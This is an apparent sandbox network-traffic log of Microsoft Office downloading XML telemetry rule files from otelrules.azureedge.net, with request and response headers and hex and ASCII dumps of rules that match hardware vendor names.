ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48cpbzgkvtewk0wu000000002zg0000000004th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48p2j6x2quer0q02800000002y000000000gx9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48762wn1qw4s5sd3000000002kg00000000pmk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48t66tjar5xuq22r800000002p000000000t2cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48cpbzgkvtewk0wu000000002s000000000u89z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48jwrqbupe3ktsx9w00000002xg00000000prs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 915c1ee4-001e-0079-3000-1712e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48sdh4cyzadbb374800000002q0000000006ksw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48sdh4cyzadbb374800000002k000000000ns95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48vhs7r2p1ky7cs5w000000035000000000571w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:22:59 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:22:59 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:22:59 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012259Z-1657d5bbd48tnj6wmberkg2xy800000002vg00000000e3nh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:22:59 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:00 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 27ba9a72-001e-0046-2a01-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012300Z-1657d5bbd487nf59mzf5b3gk8n00000002g0000000003kng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 01:23:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 01:23:00 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 01:23:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c2d0a885-201e-0003-7ced-16f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T012300Z-1657d5bbd482krtfgrg72dfbtn00000002m00000000063e3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 01:23:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 